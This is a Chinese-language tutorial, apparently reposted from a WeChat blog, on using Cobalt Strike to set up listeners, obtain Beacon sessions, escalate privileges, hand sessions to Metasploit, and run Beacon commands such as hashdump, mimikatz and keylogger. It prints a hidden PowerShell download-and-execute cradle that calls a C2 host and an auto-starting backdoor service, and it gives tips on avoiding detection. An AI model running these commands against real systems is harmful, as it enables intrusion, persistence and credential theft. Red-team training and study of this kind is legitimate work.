Cobalt Strike系列二Cobalt Strike获取Beacon

admin 2023年8月5日12:30:13评论21 views字数 6447阅读21分29秒阅读模式

一、进行监听

0x01 listeners介绍

         Listeners顾名思义就是监听者,其实就可以理解为我们在这边执行nc -lvp 4444端口一样,这样就在监听所有访问该主机的4444端口的流量,我们可以使用Cobalt Strike来生成一个Listeners进行监听,然后生成一个payload并且在目标主机上执行,这样就可以接收到一个shell了。

0x02 Listeners建立

(1):添加Listener

①:Cobalt Strike-->Listeners

Cobalt Strike系列二Cobalt Strike获取Beacon

②:快捷功能区打开Listeners

Cobalt Strike系列二Cobalt Strike获取Beacon

(2):添加监听者

Cobalt Strike系列二Cobalt Strike获取Beacon

(3):编辑监听者信息

Cobalt Strike系列二Cobalt Strike获取Beacon

0x03 Beacon类型介绍

Cobalt Strike系列二Cobalt Strike获取Beacon

(1):Beacon DNS

Cobalt Strike系列二Cobalt Strike获取Beacon

         在Cobalt Strike 4.0 及之后的版本中,DNS Beacon 是一个仅 DNS 的 payload。然后在DNS Hosts的右边的加号可以添加DNS主机,减号可以删除DNS主机。

(2):Beacon HTTP

Cobalt Strike系列二Cobalt Strike获取Beacon

         一般情况下,只需要填Http Hosts和Http Host(Stager)和Http port(C2)就够了,前两个值一般相同,是你自己C2(Command & Control)的域名或者IP,第三个值是你的监听端口。后面的HTTP Port(Bind)是绑定web服务的端口,一般在使用重定向技术的时候会用到(例如接收来自80端口的连接,但是将连接重定向到另一个端口。HTTP Host Header是在使用域前置技术的时候可能会用到。HTTP Proxy是在使用代理时使用。

         Beacon HTTP的原理是利用http请求来进行通信来向受害主机传达命令,以此达到控制对方主机的目的。但是缺点是明文传输。

(3):Beacon HTTPS

Cobalt Strike系列二Cobalt Strike获取Beacon

          Beacon HTTPS的payload与Beacon HTTP的payload原理和使用方法一样,但是主要的区别就是Beacon HTTPS是进行加密传输的。

(4):Beacon SMB

Cobalt Strike系列二Cobalt Strike获取Beacon

          SMB Beacon使用命名管道通过一个父Beacon进行通信。这种对等通信(指SMB Beacon 通过管道(pipe)进行进程间的数据传递。管道通信的进程可以是本地主机上的两个进程,也可以和远程主机上的进程通过网络进行通信)对同一台主机上的Beacon和跨网络的Beacon都有效。Windows 将命名管道通信封装在SMB协议中。因此得名SMB Beacon。

         唯一的与SMB Beacon相关的选项是 pipeame (管道名称)。你可以设置一个明确的管道名称或接受默认选项。SMB Beacon与 Cobalt Strike 中派生 payload 的大多数动作兼容。这个的例外情况是用户驱动的攻击(例如 Attacks →Packages , Attacks → Web Drive-by)这种要求明确 stager 的。
         Cobalt Strike后渗透和横向移动行为派生一个 payload,会尝试为你承担对 SMB Beacon payload 的控制。如果你手动的运行SMB Beacon,你将需要从一个父Beacon链接到它。

(5):Beacon TCP

Cobalt Strike系列二Cobalt Strike获取Beacon

         TCP Beacon 使用一个TCP socket 来通过一个父Beacon通信。这种对等通信对同一台主机上的Beacon 和跨网络的Beacon都有效。

         CS4.0之后,只有正向的tcp listener了,这个技术不适用于作为第一个木马来用,因为第一个木马一般都是反弹shell,但是这反而很适合在内网穿透的时候去使用,且在内网穿透的时候一般只能使用tcp beacon去生成木马(cs生成的pivot listener上只有tcp beacon这一个选项)。

(6):External C2

Cobalt Strike系列二Cobalt Strike获取Beacon

          External C2是一种规范,允许第三方程序充当Cobalt Strike的Beacon payload的通信层。这些第三方程序连接到Cobalt Strike来阅读预定使用的帧,并使用以此种方式控制的payload的输出写帧。这些第三方程序使用外置 C2 服务器来与你的Cobalt Strike团队服务器交互。

         外置C2接口有两个选项。Port(Bind) 指定外置C2服务器等待连接的端口。勾选Bind to localhost only以使外置 C2 服务器仅本地主机。

         外置C2监听器与其他Cobalt Strike监听器不同。这个监听端口其实是一个数据接收端口,没有相关的其他监听器的功能,所以不能用来发一些后渗透指令过去。

(7):Foreign HTTP

Cobalt Strike系列二Cobalt Strike获取Beacon

          Cobalt Strike支持对外监听器的概念。这些是托管在Metasploit框架或其他Cobalt Strike实例的 x86 payload handler的别名。Foreign HTTP可以接收Metasploit框架反弹的shell。

(8):Beacon HTTPS

Cobalt Strike系列二Cobalt Strike获取Beacon

         Beacon HTTPS与Beacon HTTP的功能是一样的,区别就是监听的端口不同,并且Beacon HTTPS的流量是进行加密传输的。

二、使用Cobalt Strike接收shell

0x01 生成payload

(1):添加payload

①:Attacks-->Web Drive-by-->Scripted Web Delivery

Cobalt Strike系列二Cobalt Strike获取Beacon

②:快捷功能生成payload

Cobalt Strike系列二Cobalt Strike获取Beacon

(2):设置payload

Cobalt Strike系列二Cobalt Strike获取Beacon

(3):生成payload

Cobalt Strike系列二Cobalt Strike获取Beacon

Cobalt Strike系列二Cobalt Strike获取Beacon

0x02 getshell

(1):进行监听

Cobalt Strike系列二Cobalt Strike获取Beacon

(2):生成payload

Cobalt Strike系列二Cobalt Strike获取Beacon

Cobalt Strike系列二Cobalt Strike获取Beacon

(3):执行payload

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.223.160:81/a'))"

Cobalt Strike系列二Cobalt Strike获取Beacon

(4):看到该主机上线

Cobalt Strike系列二Cobalt Strike获取Beacon

0x03 执行交互式命令

(1):进入交互式页面

Cobalt Strike系列二Cobalt Strike获取Beacon

(2):执行交互式命令

           在进入交互式页面执行cmd命令时,必须要在想要执行cmd命令前面加上"shell"。但是如果只是执行Beacon命令时就不需要使用shell了。

Cobalt Strike系列二Cobalt Strike获取Beacon

(3):修改回连时间

sleep 5    #不需要添加shell

         Beacon每次会在心跳时间结束后执行命令,但是beacon默认的心跳时间是60秒一次,因此可以缩短心跳时间,这样可以更快的执行命令。

Cobalt Strike系列二Cobalt Strike获取Beacon

(4):提权

右键选中shell-->Access-->Elevate

Cobalt Strike系列二Cobalt Strike获取Beacon

Cobalt Strike系列二Cobalt Strike获取Beacon

Cobalt Strike系列二Cobalt Strike获取Beacon

(5):添加后门

①:添加后门test

shell sc create "test" binpath= "cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.223.160:81/a'))"

Cobalt Strike系列二Cobalt Strike获取Beacon

②:让test进程自启动

shell sc config "test" start= auto

Cobalt Strike系列二Cobalt Strike获取Beacon

三、使用Metasploit接收shell

0x01 获得一个Cobalt Strike的shell

按照上述方法获取一个Cobalt Strike的shell。

Cobalt Strike系列二Cobalt Strike获取Beacon

0x02 创建一个msf的外置监听器

Cobalt Strike系列二Cobalt Strike获取Beacon

0x03 Metasploit启动监听

msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_httpset lhost 192.168.223.138set lport 81optionsrun

Cobalt Strike系列二Cobalt Strike获取Beacon

注意:Metasploit中的payload类型、监听IP、端口等需要和Cobalt Strike中的参数一致。

0x04 Metasploit接收shell

Cobalt Strike系列二Cobalt Strike获取Beacon

Cobalt Strike系列二Cobalt Strike获取Beacon

Cobalt Strike系列二Cobalt Strike获取Beacon

可以看到已经拿到了meterpreter的shell了。

四、右键参数介绍

0x01 Interact参数

Cobalt Strike系列二Cobalt Strike获取Beacon

Interact   #交互式shell

0x02 Access参数

Cobalt Strike系列二Cobalt Strike获取Beacon

Dump Hashes #获取hashElevate #提权Golden Ticket #生成黄金票据注入当前会话One-Liner  #oneliner会生成一段在目标beacon本地运行的payloadMake token #凭证转换Run Mimikatz #运行 Mimikatz Spawn As #用其他用户生成Cobalt Strike侦听器

0x03 Explore参数

Cobalt Strike系列二Cobalt Strike获取Beacon

Browser Pivot #劫持目标浏览器进程Desktop(VNC) #桌面交互File Browser #文件浏览器Net View #命令Net ViewPort Scan #端口扫描Process List #进程列表Screenshot #截图

0x04 Pivoting参数

Cobalt Strike系列二Cobalt Strike获取Beacon

SOCKS Server #代理服务Listener #反向端口转发Deploy VPN #部署VPN

0x05 Spawn参数

Cobalt Strike系列二Cobalt Strike获取Beacon

Spawn   #外部监听器(如指派给MSF,获取meterpreter权限)

0x06 Session参数

Cobalt Strike系列二Cobalt Strike获取Beacon

Note #备注Remove #删除Sleep #指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务。实际中频率不宜过快,容易被发现Exit #退出

五、Interact参数详解

0x01 Interact参数

Cobalt Strike系列二Cobalt Strike获取Beacon

beacon> help
Beacon Commands===============
Command Description------- -----------argue 进程参数欺骗blockdlls 阻止子进程加载非Microsoft DLLbrowserpivot 注入受害者浏览器进程bypassuac 绕过UAC提升权限cancel 取消正在进行的下载cd 切换目录checkin 强制让被控端回连一次clear 清除beacon内部的任务队列connect Connect to a Beacon peer over TCPcovertvpn 部署Covert VPN客户端cp 复制文件dcsync 从DC中提取密码哈希desktop 远程桌面(VNC)dllinject 反射DLL注入进程dllload 使用LoadLibrary将DLL加载到进程中download 下载文件downloads 列出正在进行的文件下载drives 列出目标盘符elevate 使用expexecute 在目标上执行程序(无输出)execute-assembly 在目标上内存中执行本地.NET程序exit 终止beacon会话getprivs Enable system privileges on current tokengetsystem 尝试获取SYSTEM权限getuid 获取用户IDhashdump 转储密码哈希值help 帮助inject 在注入进程生成会话jobkill 结束一个后台任务jobs 列出后台任务kerberos_ccache_use 从ccache文件中导入票据应用于此会话kerberos_ticket_purge 清除当前会话的票据kerberos_ticket_use Apply 从ticket文件中导入票据应用于此会话keylogger 键盘记录kill 结束进程link Connect to a Beacon peer over a named pipelogonpasswords 使用mimikatz转储凭据和哈希值ls 列出文件make_token 创建令牌以传递凭据mimikatz 运行mimikatzmkdir 创建一个目录mode dns 使用DNS A作为通信通道(仅限DNS beacon)mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)mode http 使用HTTP作为通信通道mv 移动文件net net命令note 备注 portscan 进行端口扫描powerpick 通过Unmanaged PowerShell执行命令powershell 通过powershell.exe执行命令powershell-import 导入powershell脚本ppid Set parent PID for spawned post-ex jobsps 显示进程列表psexec Use a service to spawn a session on a hostpsexec_psh Use PowerShell to spawn a session on a hostpsinject 在特定进程中执行PowerShell命令pth 使用Mimikatz进行传递哈希pwd 当前目录位置reg Query the registryrev2self 恢复原始令牌rm 删除文件或文件夹rportfwd 端口转发run 在目标上执行程序(返回输出)runas 以其他用户权限执行程序runasadmin 在高权限下执行程序runu Execute a program under another PIDscreenshot 屏幕截图setenv 设置环境变量shell 执行cmd命令shinject 将shellcode注入进程shspawn 启动一个进程并将shellcode注入其中sleep 设置睡眠延迟时间socks 启动SOCKS4代理socks stop 停止SOCKS4spawn Spawn a session spawnas Spawn a session as another userspawnto Set executable to spawn processes intospawnu Spawn a session under another PIDssh 使用ssh连接远程主机ssh-key 使用密钥连接远程主机steal_token 从进程中窃取令牌timestomp 将一个文件的时间戳应用到另一个文件unlink Disconnect from parent Beaconupload 上传文件wdigest 使用mimikatz转储明文凭据winrm 使用WinRM横向渗透wmi 使用WMI横向渗透

0x02 常用的Beacon命令

(1):获取当前用户权限

getuid

Cobalt Strike系列二Cobalt Strike获取Beacon

(2):获取system权限

getsystem

Cobalt Strike系列二Cobalt Strike获取Beacon

         输入getsystem后会尝试去获取system权限(但是并不是说一定会成功)。system是windows中的第二高的权限,即使拥有system权限,也无法修改系统文件,TrustedInstaller权限是windows操作系统的最高权限。

(3):获取Beacon的所有权限

getprivs

Cobalt Strike系列二Cobalt Strike获取Beacon

0x03 注意

         在Cobalt Strike中它的心跳默认是60s(即sleep时间为60s,也就是说Cobalt Strike客户端每一分钟目标主机与teamserver通信一次), 这会让我们执行命令或进行其他操作响应很慢。因此在拿到Cobalt Strike的beacon后先进行sleep 5,加快服务器端响应时间,不要将心跳时间调的太快,这样就很容易监控到异常流量。然后执行命令时,在想要执行的命令前加上shell,如shell whoami。

Cobalt Strike系列二Cobalt Strike获取Beacon

原文始发于微信公众号(想走安全的小白):Cobalt Strike系列二----Cobalt Strike获取Beacon

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月5日12:30:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Cobalt Strike系列二Cobalt Strike获取Beaconhttp://cn-sec.com/archives/886459.html

发表评论

匿名网友 填写信息